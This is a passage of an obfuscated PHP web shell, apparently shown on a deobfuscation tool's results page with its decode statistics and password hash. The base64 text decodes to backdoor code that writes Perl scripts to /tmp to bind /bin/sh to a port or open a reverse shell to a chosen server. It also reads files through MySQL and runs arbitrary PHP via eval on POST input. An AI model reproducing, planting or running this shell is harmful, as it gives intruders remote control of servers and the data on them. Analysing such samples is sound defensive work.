KCQkJCWVjaG8gIjwvdGQ+PC90cj4iOw0KCQkJfQ0KCQkJZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz4iOw0KICAgICAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpIHsNCiAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCJTRUxFQ1QgMSBGUk9NIG15c3FsLnVzZXIgV0hFUkUgY29uY2F0KGB1c2VyYCwgJ0AnLCBgaG9zdGApID0gVVNFUigpIEFORCBgRmlsZV9wcml2YCA9ICd5JyIpOw0KICAgICAgICAgICAgICAgIGlmKCRkYi0+ZmV0Y2goKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJsb2FkZmlsZVwiO2RvY3VtZW50LnNmLnAyLnZhbHVlPXRoaXMuZi52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5Mb2FkIGZpbGU8L3NwYW4+IDxpbnB1dCAgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT4iOw0KICAgICAgICAgICAgfQ0KCQkJaWYoQCRfUE9TVFsncDEnXSA9PSAnbG9hZGZpbGUnKSB7DQoJCQkJJGZpbGUgPSAkZGItPmxvYWRGaWxlKCRfUE9TVFsncDInXSk7DQoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlWydmaWxlJ10pLic8L3ByZT4nOw0KCQkJfQ0KCX0gZWxzZSB7DQogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpOw0KICAgIH0NCgllY2hvICc8L2Rpdj4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvbk5ldHdvcmsoKSB7DQoJQk9GRkhlYWRlcigpOw0KCSRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOw0KCSRiaW5kX3BvcnRfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dmMyZ2dMV2tpT3cwS2FXWWdLRUJCVWtkV0lEd2dNU2tnZXlCbGVHbDBLREVwT3lCOURRcDFjMlVnVTI5amEyVjBPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVMVJTUlVGTkxHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlZUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFRlNSMVpiTUYwc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdEUXBzYVhOMFpXNG9VeXd6S1NCOGZDQmthV1VnSWtOaGJuUWdiR2x6ZEdWdUlIQnZjblJjYmlJN0RRcDNhR2xzWlNneEtTQjdEUW9KWVdOalpYQjBLRU5QVGs0c1V5azdEUW9KYVdZb0lTZ2tjR2xrUFdadmNtc3BLU0I3RFFvSkNXUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc05DZ2tKYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNna0piM0JsYmlCVFZFUlBWVlFzSWo0bVEwOU9UaUk3RFFvSkNXOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPdzBLQ1FsbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNna0pZMnh2YzJVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsNCgllY2hvICI8aDE+TmV0d29yayB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KCTxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9XCJnKG51bGwsbnVsbCwnYnBwJyx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTtcIj4NCgk8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaCBbcGVybF08L3NwYW4+PGJyLz4NCglQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzEzMzcnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz4NCgk8L2Zvcm0+DQoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdiY3AnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPg0KCTxzcGFuPkJhY2stY29ubmVjdCAgW3BlcmxdPC9zcGFuPjxici8+DQoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzEzMzcnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz4NCgk8L2Zvcm0+PGJyPiI7DQoJaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgew0KCQlmdW5jdGlvbiBjZigkZiwkdCkgew0KCQkJJHcgPSBAZm9wZW4oJGYsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOw0KCQkJaWYoJHcpew0KCQkJCUBmd3JpdGUoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKTsNCgkJCQlAZmNsb3NlKCR3KTsNCgkJCX0NCgkJfQ0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwcCcpIHsNCgkJCWNmKCIvdG1wL2JwLnBsIiwkYmluZF9wb3J0X3ApOw0KCQkJJG91dCA9IEJPRkZFeCgicGVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLkJPRkZFeCgicHMgYXV4IHwgZ3JlcCBicC5wbCIpLiI8L3ByZT4iOw0KICAgICAgICAgICAgdW5saW5rKCIvdG1wL2JwLnBsIik7DQoJCX0NCgkJaWYoJF9QT1NUWydwMSddID09ICdiY3AnKSB7DQoJCQljZigiL3RtcC9iYy5wbCIsJGJhY2tfY29ubmVjdF9wKTsNCgkJCSRvdXQgPSBCT0ZGRXgoInBlcmwgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLkJPRkZFeCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOw0KICAgICAgICAgICAgdW5saW5rKCIvdG1wL2JjLnBsIik7DQoJCX0NCgl9DQoJZWNobyAnPC9kaXY+JzsNCglCT0ZGRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3Rpb25SQygpIHsNCglpZighQCRfUE9TVFsncDEnXSkgew0KCQkkYSA9IGFycmF5KA0KCQkJInVuYW1lIiA9PiBwaHBfdW5hbWUoKSwNCgkJCSJwaHBfdmVyc2lvbiIgPT4gcGhwdmVyc2lvbigpLA0KCQkJIkJPRkZfdmVyc2lvbiIgPT4gQk9GRl9WRVJTSU9OLA0KCQkJInNhZmVtb2RlIiA9PiBAaW5pX2dldCgnc2FmZV9tb2RlJykNCgkJKTsNCgkJZWNobyBzZXJpYWxpemUoJGEpOw0KCX0gZWxzZSB7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsNCgl9DQp9DQppZiggZW1wdHkoJF9QT1NUWydhJ10pICkNCglpZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2FjdGlvbikpDQoJCSRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOw0KCWVsc2UNCgkJJF9QT1NUWydhJ10gPSAnU2VjSW5mbyc7DQppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKQ0KCWNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pOw0KZXhpdDsNCj8+")); ?>

Function Calls

base64_decode 1

Variables

$auth_pass 702799702873d26245aeda8efb9fdfe2

Stats

MD5 72426b43a7059cf3ff5977e3b48e8d88
Eval Count 1
Decode Time 205 ms